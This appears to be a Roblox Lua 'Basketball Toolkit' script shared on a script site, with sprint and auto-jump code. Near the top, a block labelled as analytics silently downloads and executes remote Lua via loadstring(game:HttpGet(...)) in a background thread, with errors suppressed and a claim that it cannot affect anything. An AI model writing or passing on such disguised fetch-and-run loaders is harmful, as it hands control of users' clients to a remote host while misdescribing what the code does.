-- [[ Rscripts Risk Notice ]] -- This script is not verified by rscripts.net. Deal with caution. -- -- Stay safe: -- • Never log in on unofficial Roblox sites or lookalike domains. -- • Real Roblox links use roblox.com (check the .com ending). -- • Treat fake Roblox login / "claim reward" pages as phishing. -- [[ End Rscripts Risk Notice ]] --[[rscripts:analytics:start]] -- Script analytics (enabled by the creator on rscripts.net). -- Runs in its own thread and cannot affect the script below. task.spawn(function() pcall(function() loadstring(game:HttpGet("https://rscripts.net/api/telemetry/v2/client.lua?s=6adcc2cd761191146e1a5b3b"))() end) end) --[[rscripts:analytics:end]] local Players = game:GetService("Players") local UserInputService = game:GetService("UserInputService") local RunService = game:GetService("RunService") local player = Players.LocalPlayer local Settings = { AutoJump = false, Sprint = false, AutoShoot = false, WalkSpeed = 24, NormalSpeed = 16, MagRange = 30, ReachRange = 50, } local function getCharacter() return player.Character end local function getHumanoid() local character = getCharacter() return character and character:FindFirstChildOfClass("Humanoid") end local function updateMovement() local humanoid = getHumanoid() if not humanoid then return end humanoid.WalkSpeed = Settings.Sprint and Settings.WalkSpeed or Settings.NormalSpeed end UserInputService.InputBegan:Connect(function(input, processed) if processed then return end if input.KeyCode == Enum.KeyCode.LeftShift then Settings.Sprint = true updateMovement() end end) UserInputService.InputEnded:Connect(function(input) if input.KeyCode == Enum.KeyCode.LeftShift then Settings.Sprint = false updateMovement() end end) RunService.Heartbeat:Connect(function() local humanoid = getHumanoid() if not humanoid then return end if Settings.AutoJump and humanoid.FloorMaterial ~= Enum.Material.Air then humanoid.Jump = true end end) player.CharacterAdded:Connect(function() task.wait(0.5) updateMovement() end) -- MagRange und ReachRange sind Konfigurationswerte. -- Dein eigener Spielserver muss Ballbesitz, Distanz, -- Wurfaktionen und Reichweiten serverseitig prüfen. print("[Axiom] Basketball Toolkit initialized.")